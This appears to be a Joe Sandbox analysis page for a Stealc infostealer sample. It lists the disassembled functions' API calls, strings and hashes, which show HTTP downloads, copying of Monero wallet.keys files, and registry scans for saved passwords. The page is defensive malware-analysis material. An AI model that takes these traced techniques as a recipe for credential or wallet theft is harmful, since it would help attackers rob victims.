Associated: 00000014.00000002.3297111668.00000000006B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006E1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006ED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.0000000000712000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000071F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000073F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007D5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007F5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007FB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000087A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3298099490.000000000088C000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_630000_stealc_default2.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: fdc0daa79917f3b199f5f7057bbb62fa191eb9607928f2aae1b815a1910b181e
Instruction ID: 8f7bd391ea94e18b5a6b368bce6062067187cf90956b705ab28207df63a8f026
Opcode Fuzzy Hash: fdc0daa79917f3b199f5f7057bbb62fa191eb9607928f2aae1b815a1910b181e
Instruction Fuzzy Hash: 4C810B71951118AFEB68DB94CC95FEEB7B9FF48700F008298E109A6180DF71AB85CF95

Function 00636280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0064A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0064A7E6

Part of subcall function 006347B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 006347EA
Part of subcall function 006347B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00634801
Part of subcall function 006347B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00634818
Part of subcall function 006347B0: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00634839
Part of subcall function 006347B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00634849

Part of subcall function 0064A740: lstrcpy.KERNEL32(e,00000000), ref: 0064A788

InternetOpenA.WININET(00650DFE,00000001,00000000,00000000,00000000), ref: 006362E1
StrCmpCA.SHLWAPI(?,00F6D938), ref: 00636303
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00636335
HttpOpenRequestA.WININET(00000000,GET,?,00F6FDF8,00000000,00000000,00400100,00000000), ref: 00636385
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 006363BF
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 006363D1
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 006363FD
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0063646D
InternetCloseHandle.WININET(00000000), ref: 006364EF
InternetCloseHandle.WININET(00000000), ref: 006364F9
InternetCloseHandle.WININET(00000000), ref: 00636503

Strings

ERROR, xrefs: 00636407
ERROR, xrefs: 006364C9
GET, xrefs: 0063637C

Memory Dump Source

Source File: 00000014.00000002.3296974695.0000000000631000.00000080.00000001.01000000.0000000B.sdmp, Offset: 00630000, based on PE: true

Associated: 00000014.00000002.3296938704.0000000000630000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297023855.000000000064E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297065149.000000000065B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000067A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000068A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006E1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006ED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.0000000000712000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000071F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000073F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007D5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007F5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007FB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000087A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3298099490.000000000088C000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_630000_stealc_default2.jbxd

Yara matches

Similarity

API ID: Internet$??2@CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3074848878-2509457195
Opcode ID: e1e3987ff393d45e65091282523cb8b64ce5f0bda5130f4e461339dce4c3d087
Instruction ID: a6bad5663ef487828e490befeeee449513f597f867fd296b2eda8e1a99b5af02
Opcode Fuzzy Hash: e1e3987ff393d45e65091282523cb8b64ce5f0bda5130f4e461339dce4c3d087
Instruction Fuzzy Hash: 4B714171A40218BBEB24DFD0CC49BEE77B9FB44700F108158F50A6B195DBB4AA85CF91

Function 00645510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 0064A820: lstrlenA.KERNEL32(00000000,?,?,00645B54,00650ADB,00650ADA,?,?,00646B16,00000000,?,00F61410,?,0065110C,?,00000000), ref: 0064A82B
Part of subcall function 0064A820: lstrcpy.KERNEL32(e,00000000), ref: 0064A885

Part of subcall function 0064A740: lstrcpy.KERNEL32(e,00000000), ref: 0064A788

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00645644
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 006456A1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00645857

Part of subcall function 0064A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0064A7E6

Part of subcall function 006451F0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00645228

Part of subcall function 0064A8A0: lstrcpy.KERNEL32(?,e), ref: 0064A905

Part of subcall function 006452C0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00645318
Part of subcall function 006452C0: lstrlenA.KERNEL32(00000000), ref: 0064532F
Part of subcall function 006452C0: StrStrA.SHLWAPI(00000000,00000000), ref: 00645364
Part of subcall function 006452C0: lstrlenA.KERNEL32(00000000), ref: 00645383
Part of subcall function 006452C0: strtok.MSVCRT(00000000,?), ref: 0064539E
Part of subcall function 006452C0: lstrlenA.KERNEL32(00000000), ref: 006453AE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 0064578B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00645940
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00645A0C
Sleep.KERNEL32(0000EA60), ref: 00645A1B

Strings

ERROR, xrefs: 006459FE
ERROR, xrefs: 00645636
ERROR, xrefs: 00645693
ERROR, xrefs: 0064577D
ERROR, xrefs: 00645849
ERROR, xrefs: 00645932

Memory Dump Source

Source File: 00000014.00000002.3296974695.0000000000631000.00000080.00000001.01000000.0000000B.sdmp, Offset: 00630000, based on PE: true

Associated: 00000014.00000002.3296938704.0000000000630000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297023855.000000000064E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297065149.000000000065B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000067A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000068A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006E1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006ED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.0000000000712000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000071F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000073F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007D5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007F5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007FB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000087A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3298099490.000000000088C000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_630000_stealc_default2.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleepstrtok
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3630751533-2791005934
Opcode ID: f35f76acb3a981e299b748d6b7ea254e53663406c4e29ea2577bcd422e3f9555
Instruction ID: 7ec515429a8bbffb99872769a0329a2820def20e79008669ffcc16127b3c579f
Opcode Fuzzy Hash: f35f76acb3a981e299b748d6b7ea254e53663406c4e29ea2577bcd422e3f9555
Instruction Fuzzy Hash: DBE14072950104ABDB58FBE0DC96AED733BBF95300F40812CB50766196EF34AB49CB96

Function 00631310 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 139stringfileCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00631327

Part of subcall function 006312A0: GetProcessHeap.KERNEL32(00000000,00000104,80000001), ref: 006312B4
Part of subcall function 006312A0: HeapAlloc.KERNEL32(00000000), ref: 006312BB
Part of subcall function 006312A0: RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 006312D7
Part of subcall function 006312A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,000000FF,000000FF), ref: 006312F5
Part of subcall function 006312A0: RegCloseKey.ADVAPI32(?), ref: 006312FF

lstrcatA.KERNEL32(?,00000000), ref: 0063134F
lstrlenA.KERNEL32(?), ref: 0063135C
lstrcatA.KERNEL32(?,.keys), ref: 00631377

Part of subcall function 0064A740: lstrcpy.KERNEL32(e,00000000), ref: 0064A788

Part of subcall function 0064A9B0: lstrlenA.KERNEL32(?,00651110,?,00000000,00650AEF), ref: 0064A9C5
Part of subcall function 0064A9B0: lstrcpy.KERNEL32(00000000), ref: 0064AA04
Part of subcall function 0064A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0064AA12

Part of subcall function 0064A8A0: lstrcpy.KERNEL32(?,e), ref: 0064A905

Part of subcall function 00648B60: GetSystemTime.KERNEL32(?,00F64A00,006505AE,?,?,?,?,?,?,?,?,?,00634963,?,00000014), ref: 00648B86

Part of subcall function 0064A920: lstrcpy.KERNEL32(00000000,?), ref: 0064A972
Part of subcall function 0064A920: lstrcatA.KERNEL32(00000000), ref: 0064A982

CopyFileA.KERNEL32(?,00000000,00000001), ref: 00631465

Part of subcall function 0064A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0064A7E6

Part of subcall function 006399C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 006399EC
Part of subcall function 006399C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00639A11
Part of subcall function 006399C0: LocalAlloc.KERNEL32(00000040,?), ref: 00639A31
Part of subcall function 006399C0: ReadFile.KERNEL32(000000FF,?,00000000,006402E7,00000000), ref: 00639A5A
Part of subcall function 006399C0: LocalFree.KERNEL32(006402E7), ref: 00639A90
Part of subcall function 006399C0: CloseHandle.KERNEL32(000000FF), ref: 00639A9A

DeleteFileA.KERNEL32(00000000), ref: 006314EF
memset.MSVCRT ref: 00631516

Strings

\Monero\wallet.keys, xrefs: 0063138D
.keys, xrefs: 0063136B
wallet_path, xrefs: 00631330
SOFTWARE\monero-project\monero-core, xrefs: 00631335

Memory Dump Source

Source File: 00000014.00000002.3296974695.0000000000631000.00000080.00000001.01000000.0000000B.sdmp, Offset: 00630000, based on PE: true

Associated: 00000014.00000002.3296938704.0000000000630000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297023855.000000000064E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297065149.000000000065B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000067A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000068A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006E1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006ED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.0000000000712000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000071F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000073F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007D5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007F5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007FB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000087A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3298099490.000000000088C000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_630000_stealc_default2.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$AllocCloseHeapLocallstrlenmemset$CopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 1930502592-218353709
Opcode ID: d47d2d7e6fdb42f1a8e185de48b2e946be1ff452cfb5603b43c62e71e1fa08c0
Instruction ID: bdbb05f596bc4dcaf3fa535a718e3b6f0a04fbabb3114ad0f65a1e70cfd53eb3
Opcode Fuzzy Hash: d47d2d7e6fdb42f1a8e185de48b2e946be1ff452cfb5603b43c62e71e1fa08c0
Instruction Fuzzy Hash: C85145B1D501196BDB55FBA0DD96BED733EEF54300F40419CB60A62082EE705B89CFAA

Function 006360A0 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0064A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0064A7E6

Part of subcall function 006347B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 006347EA
Part of subcall function 006347B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00634801
Part of subcall function 006347B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00634818
Part of subcall function 006347B0: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00634839
Part of subcall function 006347B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00634849

InternetOpenA.WININET(00650DF7,00000001,00000000,00000000,00000000), ref: 0063610F
StrCmpCA.SHLWAPI(?,00F6D938), ref: 00636147
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 0063618F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 006361B3
InternetReadFile.WININET(a+d,?,00000400,?), ref: 006361DC
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 0063620A
CloseHandle.KERNEL32(?,?,00000400), ref: 00636249
InternetCloseHandle.WININET(a+d), ref: 00636253
InternetCloseHandle.WININET(00000000), ref: 00636260

Strings

a+d, xrefs: 0063624F, 006361D8, 006361DB, 00636252
a+d, xrefs: 006360B0, 0063617F, 00636266, 00636124, 006360B3

Memory Dump Source

Source File: 00000014.00000002.3296974695.0000000000631000.00000080.00000001.01000000.0000000B.sdmp, Offset: 00630000, based on PE: true

Associated: 00000014.00000002.3296938704.0000000000630000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297023855.000000000064E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297065149.000000000065B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000067A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000068A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006E1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006ED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.0000000000712000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000071F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000073F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007D5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007F5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007FB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000087A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3298099490.000000000088C000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_630000_stealc_default2.jbxd

Yara matches

Similarity

API ID: Internet$??2@CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID: a+d$a+d
API String ID: 4287319946-3953032449
Opcode ID: a2c3436b2d6b9d918dcbc4a7ac1855e20117178e7f0341a074ee2ec56f9feb7c
Instruction ID: 972e823d7b9201fd2db9545c887226defc57c73972a1aa4a9cc7d0ebc839fe4e
Opcode Fuzzy Hash: a2c3436b2d6b9d918dcbc4a7ac1855e20117178e7f0341a074ee2ec56f9feb7c
Instruction Fuzzy Hash: CA514171940218BBDB24DF90DC49BEE77BAFB44705F108098B609A71C1DB74AA85CF95

Function 006470D0 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 136COMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT(00064000), ref: 006470DE

Part of subcall function 0064A740: lstrcpy.KERNEL32(e,00000000), ref: 0064A788

OpenProcess.KERNEL32(001FFFFF,00000000,0064730D,006505BD), ref: 0064711C
memset.MSVCRT ref: 0064716A
??_V@YAXPAX@Z.MSVCRT(?), ref: 006472BE

Strings

65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 0064718C
sd, xrefs: 006472AE, 00647179, 0064717C
sd, xrefs: 00647111

Memory Dump Source

Source File: 00000014.00000002.3296974695.0000000000631000.00000080.00000001.01000000.0000000B.sdmp, Offset: 00630000, based on PE: true

Associated: 00000014.00000002.3296938704.0000000000630000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297023855.000000000064E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297065149.000000000065B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000067A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000068A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006E1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006ED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.0000000000712000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000071F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000073F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007D5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007F5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007FB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000087A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3298099490.000000000088C000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_630000_stealc_default2.jbxd

Yara matches

Similarity

API ID: OpenProcesslstrcpymemset
String ID: sd$sd$65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 224852652-582212991
Opcode ID: e6a76580467a505c50a17b8b9d9be85402559c1a152eaf0999b413fb0636723a
Instruction ID: 1862cb9fa2a35aa8358e149fc90c23fe3ed1f3b3f7e7af15f50c3cc76758dd1a
Opcode Fuzzy Hash: e6a76580467a505c50a17b8b9d9be85402559c1a152eaf0999b413fb0636723a
Instruction Fuzzy Hash: 0B516FB0C042189FDB64EFA0DD85BEEB776EF04305F1440ACE51567281EB746A88CF59

Function 006375D0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 006372D0: memset.MSVCRT ref: 00637314
Part of subcall function 006372D0: RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,00637C90), ref: 0063733A
Part of subcall function 006372D0: RegEnumValueA.ADVAPI32(00637C90,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 006373B1
Part of subcall function 006372D0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0063740D
Part of subcall function 006372D0: GetProcessHeap.KERNEL32(00000000,?,?,?,?,?,00637C90,80000001,006461C4,?,?,?,?,?,00637C90,?), ref: 00637452
Part of subcall function 006372D0: HeapFree.KERNEL32(00000000,?,?,?,?,00637C90,80000001,006461C4,?,?,?,?,?,00637C90,?), ref: 00637459

lstrcatA.KERNEL32(33435020,006517FC,00637C90,80000001,006461C4,?,?,?,?,?,00637C90,?,?,006461C4), ref: 00637606
lstrcatA.KERNEL32(33435020,00000000,00000000), ref: 00637648
lstrcatA.KERNEL32(33435020, : ), ref: 0063765A
lstrcatA.KERNEL32(33435020,00000000,00000000,00000000), ref: 0063768F
lstrcatA.KERNEL32(33435020,00651804), ref: 006376A0
lstrcatA.KERNEL32(33435020,00000000,00000000,00000000), ref: 006376D3
lstrcatA.KERNEL32(33435020,00651808), ref: 006376ED
task.LIBCPMTD ref: 006376FB

Strings

: , xrefs: 0063764E

Memory Dump Source

Source File: 00000014.00000002.3296974695.0000000000631000.00000080.00000001.01000000.0000000B.sdmp, Offset: 00630000, based on PE: true

Associated: 00000014.00000002.3296938704.0000000000630000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297023855.000000000064E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297065149.000000000065B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000067A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000068A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006E1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006ED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.0000000000712000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000071F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000073F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007D5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007F5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007FB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000087A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3298099490.000000000088C000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_630000_stealc_default2.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuememsettask
String ID: :
